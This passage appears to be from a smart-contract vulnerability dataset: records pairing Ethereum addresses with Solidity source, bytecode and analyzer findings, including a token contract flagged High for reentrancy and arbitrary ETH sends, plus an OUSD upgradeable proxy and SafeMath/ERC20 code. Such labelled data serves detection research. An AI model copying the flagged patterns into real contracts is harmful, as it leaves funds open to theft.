2291e5b200ac8c7c3b92583604051610fb69190612393565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612253565b60405180910390fd5b600081116110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90612313565b60405180910390fd5b6110ee6106ee565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561115c575061112c6106ee565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561121b57600061116c3061054a565b9050600b60159054906101000a900460ff161580156111d95750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111f15750600b60169054906101000a900460ff165b15611219576111ff8161128f565b600047905060008111156112175761121647611585565b5b505b505b6112268383836115f1565b505050565b6000838311158290611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a9190612231565b60405180910390fd5b50600083856112829190612559565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112c7576112c66126b4565b5b6040519080825280602002602001820160405280156112f55781602001602082028036833780820191505090505b509050308160008151811061130d5761130c612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113af57600080fd5b505afa1580156113c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e79190611d34565b816001815181106113fb576113fa612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061146230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610df8565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114c69594939291906123ae565b600060405180830381600087803b1580156114e057600080fd5b505af11580156114f4573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b600060055482111561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612273565b60405180910390fd5b6000611568611601565b905061157d818461162c90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115ed573d6000803e3d6000fd5b5050565b6115fc838383611676565b505050565b600080600061160e611841565b91509150611625818361162c90919063ffffffff16565b9250505090565b600061166e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061189a565b905092915050565b600080600080600080611688876118fd565b9550955095509550955095506116e686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c781611a0d565b6117d18483611aca565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182e9190612393565b60405180910390a3505050505050505050565b600080600060055490506000655af3107a40009050611871655af3107a400060055461162c90919063ffffffff16565b82101561188d57600554655af3107a4000935093505050611896565b81819350935050505b9091565b600080831182906118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d89190612231565b60405180910390fd5b50600083856118f091906124ce565b9050809150509392505050565b600080600080600080600080600061191a8a600754600854611b04565b925092509250600061192a611601565b9050600080600061193d8e878787611b9a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122b565b905092915050565b60008082846119be9190612478565b905083811015611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa906122b3565b60405180910390fd5b8091505092915050565b6000611a17611601565b90506000611a2e8284611c2390919063ffffffff16565b9050611a8281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611adf8260055461196590919063ffffffff16565b600581905550611afa816006546119af90919063ffffffff16565b6006819055505050565b600080600080611b306064611b22888a611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b5a6064611b4c888b611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b8382611b75858c61196590919063ffffffff16565b61196590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bb38589611c2390919063ffffffff16565b90506000611bca8689611c2390919063ffffffff16565b90506000611be18789611c2390919063ffffffff16565b90506000611c0a82611bfc858761196590919063ffffffff16565b61196590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c365760009050611c98565b60008284611c4491906124ff565b9050828482611c5391906124ce565b14611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a906122d3565b60405180910390fd5b809150505b92915050565b600081359050611cad8161299d565b92915050565b600081519050611cc28161299d565b92915050565b600081519050611cd7816129b4565b92915050565b600081359050611cec816129cb565b92915050565b600081519050611d01816129cb565b92915050565b600060208284031215611d1d57611d1c6126e3565b5b6000611d2b84828501611c9e565b91505092915050565b600060208284031215611d4a57611d496126e3565b5b6000611d5884828501611cb3565b91505092915050565b60008060408385031215611d7857611d776126e3565b5b6000611d8685828601611c9e565b9250506020611d9785828601611c9e565b9150509250929050565b600080600060608486031215611dba57611db96126e3565b5b6000611dc886828701611c9e565b9350506020611dd986828701611c9e565b9250506040611dea86828701611cdd565b9150509250925092565b60008060408385031215611e0b57611e0a6126e3565b5b6000611e1985828601611c9e565b9250506020611e2a85828601611cdd565b9150509250929050565b600060208284031215611e4a57611e496126e3565b5b6000611e5884828501611cc8565b91505092915050565b600060208284031215611e7757611e766126e3565b5b6000611e8584828501611cdd565b91505092915050565b600080600060608486031215611ea757611ea66126e3565b5b6000611eb586828701611cf2565b9350506020611ec686828701611cf2565b9250506040611ed786828701611cf2565b9150509250925092565b6000611eed8383611ef9565b60208301905092915050565b611f028161258d565b82525050565b611f118161258d565b82525050565b6000611f2282612433565b611f2c8185612456565b9350611f3783612423565b8060005b83811015611f68578151611f4f8882611ee1565b9750611f5a83612449565b925050600181019050611f3b565b5085935050505092915050565b611f7e8161259f565b82525050565b611f8d816125e2565b82525050565b6000611f9e8261243e565b611fa88185612467565b9350611fb88185602086016125f4565b611fc1816126e8565b840191505092915050565b6000611fd9602383612467565b9150611fe4826126f9565b604082019050919050565b6000611ffc602a83612467565b915061200782612748565b604082019050919050565b600061201f602283612467565b915061202a82612797565b604082019050919050565b6000612042601b83612467565b915061204d826127e6565b602082019050919050565b6000612065602183612467565b91506120708261280f565b604082019050919050565b6000612088602083612467565b91506120938261285e565b602082019050919050565b60006120ab602983612467565b91506120b682612887565b604082019050919050565b60006120ce602583612467565b91506120d9826128d6565b604082019050919050565b60006120f1602483612467565b91506120fc82612925565b604082019050919050565b6000612114601783612467565b915061211f82612974565b602082019050919050565b612133816125cb565b82525050565b612142816125d5565b82525050565b600060208201905061215d6000830184611f08565b92915050565b60006040820190506121786000830185611f08565b6121856020830184611f08565b9392505050565b60006040820190506121a16000830185611f08565b6121ae602083018461212a565b9392505050565b600060c0820190506121ca6000830189611f08565b6121d7602083018861212a565b6121e46040830187611f84565b6121f16060830186611f84565b6121fe6080830185611f08565b61220b60a083018461212a565b979650505050505050565b600060208201905061222b6000830184611f75565b92915050565b6000602082019050818103600083015261224b8184611f93565b905092915050565b6000602082019050818103600083015261226c81611fcc565b9050919050565b6000602082019050818103600083015261228c81611fef565b9050919050565b600060208201905081810360008301526122ac81612012565b9050919050565b600060208201905081810360008301526122cc81612035565b9050919050565b600060208201905081810360008301526122ec81612058565b9050919050565b6000602082019050818103600083015261230c8161207b565b9050919050565b6000602082019050818103600083015261232c8161209e565b9050919050565b6000602082019050818103600083015261234c816120c1565b9050919050565b6000602082019050818103600083015261236c816120e4565b9050919050565b6000602082019050818103600083015261238c81612107565b9050919050565b60006020820190506123a8600083018461212a565b92915050565b600060a0820190506123c3600083018861212a565b6123d06020830187611f84565b81810360408301526123e28186611f17565b90506123f16060830185611f08565b6123fe608083018461212a565b9695505050505050565b600060208201905061241d6000830184612139565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612483826125cb565b915061248e836125cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124c3576124c2612627565b5b828201905092915050565b60006124d9826125cb565b91506124e4836125cb565b9250826124f4576124f3612656565b5b828204905092915050565b600061250a826125cb565b9150612515836125cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561254e5761254d612627565b5b828202905092915050565b6000612564826125cb565b915061256f836125cb565b92508282101561258257612581612627565b5b828203905092915050565b6000612598826125ab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125ed826125cb565b9050919050565b60005b838110156126125780820151818401526020810190506125f7565b83811115612621576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129a68161258d565b81146129b157600080fd5b50565b6129bd8161259f565b81146129c857600080fd5b50565b6129d4816125cb565b81146129df57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bfe6877eec697200c3dd2fb6a8069ba924274c34f22abe1bb53615b99162196e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
469
0x277e80f3e14e7fb3fc40a9d6184088e0241034bd
pragma solidity 0.5.11; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title OUSD Governable Contract * @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change * from owner to governor and renounce methods removed. Does not use * Context.sol like Ownable.sol does for simplification. * @author Origin Protocol Inc */ contract Governable { // Storage position of the owner and pendingOwner of the contract bytes32 private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a; //keccak256("OUSD.governor"); bytes32 private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db; //keccak256("OUSD.pending.governor"); event PendingGovernorshipTransfer( address indexed previousGovernor, address indexed newGovernor ); event GovernorshipTransferred( address indexed previousGovernor, address indexed newGovernor ); /** * @dev Initializes the contract setting the deployer as the initial Governor. */ constructor() internal { _setGovernor(msg.sender); emit GovernorshipTransferred(address(0), _governor()); } /** * @dev Returns the address of the current Governor. */ function governor() public view returns (address) { return _governor(); } function _governor() internal view returns (address governorOut) { bytes32 position = governorPosition; assembly { governorOut := sload(position) } } function _pendingGovernor() internal view returns (address pendingGovernor) { bytes32 position = pendingGovernorPosition; assembly { pendingGovernor := sload(position) } } /** * @dev Throws if called by any account other than the Governor. */ modifier onlyGovernor() { require(isGovernor(), "Caller is not the Governor"); _; } /** * @dev Returns true if the caller is the current Governor. */ function isGovernor() public view returns (bool) { return msg.sender == _governor(); } function _setGovernor(address newGovernor) internal { bytes32 position = governorPosition; assembly { sstore(position, newGovernor) } } function _setPendingGovernor(address newGovernor) internal { bytes32 position = pendingGovernorPosition; assembly { sstore(position, newGovernor) } } /** * @dev Transfers Governance of the contract to a new account (`newGovernor`). * Can only be called by the current Governor. Must be claimed for this to complete * @param _newGovernor Address of the new Governor */ function transferGovernance(address _newGovernor) external onlyGovernor { _setPendingGovernor(_newGovernor); emit PendingGovernorshipTransfer(_governor(), _newGovernor); } /** * @dev Claim Governance of the contract to a new account (`newGovernor`). * Can only be called by the new Governor. */ function claimGovernance() external { require( msg.sender == _pendingGovernor(), "Only the pending Governor can complete the claim" ); _changeGovernor(msg.sender); } /** * @dev Change Governance of the contract to a new account (`newGovernor`). * @param _newGovernor Address of the new Governor */ function _changeGovernor(address _newGovernor) internal { require(_newGovernor != address(0), "New Governor is address(0)"); emit GovernorshipTransferred(_governor(), _newGovernor); _setGovernor(_newGovernor); } } /** * @title BaseGovernedUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with our governor system * @author Origin Protocol Inc */ contract InitializeGovernedUpgradeabilityProxy is Governable, BaseUpgradeabilityProxy { /** * @dev Contract initializer with Governor enforcement * @param _logic Address of the initial implementation. * @param _initGovernor Address of the initial Governor. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize( address _logic, address _initGovernor, bytes memory _data ) public payable onlyGovernor { require(_implementation() == address(0)); assert( IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } _changeGovernor(_initGovernor); } /** * @return The address of the proxy admin/it's also the governor. */ function admin() external view returns (address) { return _governor(); } /** * @return The address of the implementation. */ function implementation() external view returns (address) { return _implementation(); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external onlyGovernor { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable onlyGovernor { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } } /** * @notice VaultProxy delegates calls to a Vault implementation */ contract VaultProxy is InitializeGovernedUpgradeabilityProxy { }
0x6080604052600436106100865760003560e01c80635d36b190116100595780635d36b19014610228578063c7af33521461023f578063cf7a1d771461026e578063d38bfff414610369578063f851a440146103ba57610086565b80630c340a24146100905780633659cfe6146100e75780634f1ef286146101385780635c60da1b146101d1575b61008e610411565b005b34801561009c57600080fd5b506100a561042b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100f357600080fd5b506101366004803603602081101561010a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061043a565b005b6101cf6004803603604081101561014e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561018b57600080fd5b82018360208201111561019d57600080fd5b803590602001918460018302840111640100000000831117156101bf57600080fd5b90919293919293905050506104c0565b005b3480156101dd57600080fd5b506101e66105c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023457600080fd5b5061023d6105d6565b005b34801561024b57600080fd5b5061025461066c565b604051808215151515815260200191505060405180910390f35b6103676004803603606081101561028457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156102e157600080fd5b8201836020820111156102f357600080fd5b8035906020019184600183028401116401000000008311171561031557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506106a9565b005b34801561037557600080fd5b506103b86004803603602081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108b0565b005b3480156103c657600080fd5b506103cf610997565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104196109a6565b6104296104246109a8565b6109d9565b565b60006104356109ff565b905090565b61044261066c565b6104b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b6104bd81610a30565b50565b6104c861066c565b61053a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b61054383610a30565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d80600081146105ae576040519150601f19603f3d011682016040523d82523d6000602084013e6105b3565b606091505b50509050806105c157600080fd5b50505050565b60006105d16109a8565b905090565b6105de610a7f565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610661576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180610cfa6030913960400191505060405180910390fd5b61066a33610ab0565b565b60006106766109ff565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6106b161066c565b610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166107436109a8565b73ffffffffffffffffffffffffffffffffffffffff161461076357600080fd5b600160405180807f656970313936372e70726f78792e696d706c656d656e746174696f6e00000000815250601c019050604051809103902060001c0360001b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b146107cd57fe5b6107d683610bc0565b6000815111156108a25760008373ffffffffffffffffffffffffffffffffffffffff16826040518082805190602001908083835b6020831061082d578051825260208201915060208101905060208303925061080a565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461088d576040519150601f19603f3d011682016040523d82523d6000602084013e610892565b606091505b50509050806108a057600080fd5b505b6108ab82610ab0565b505050565b6108b861066c565b61092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b61093381610c4d565b8073ffffffffffffffffffffffffffffffffffffffff166109526109ff565b73ffffffffffffffffffffffffffffffffffffffff167fa39cc5eb22d0f34d8beaefee8a3f17cc229c1a1d1ef87a5ad47313487b1c4f0d60405160405180910390a350565b60006109a16109ff565b905090565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e80600081146109fa573d6000f35b3d6000fd5b6000807f7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a60001b9050805491505090565b610a3981610bc0565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b6000807f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db60001b9050805491505090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b53576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4e657720476f7665726e6f72206973206164647265737328302900000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b726109ff565b73ffffffffffffffffffffffffffffffffffffffff167fc7c0c772add429241571afb3805861fb3cfa2af374534088b76cdb4325a87e9a60405160405180910390a3610bbd81610c7c565b50565b610bc981610cab565b610c1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610cbf603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b90508181555050565b60007f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db60001b90508181555050565b60007f7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a60001b90508181555050565b600080823b90506000811191505091905056fe43616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e747261637420616464726573734f6e6c79207468652070656e64696e6720476f7665726e6f722063616e20636f6d706c6574652074686520636c61696da265627a7a72315820f75a9c4075be3f632573ac8a60a9660c4d4b3b47c2a2545de352cae61398a7fd64736f6c634300050b0032
{"success": true, "error": null, "results": {}}
470
0x94dd4834341e29194e551fc194779456938f5ed3
pragma solidity ^0.4.24; // based on https://github.com/OpenZeppelin/openzeppelin-solidity/ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } 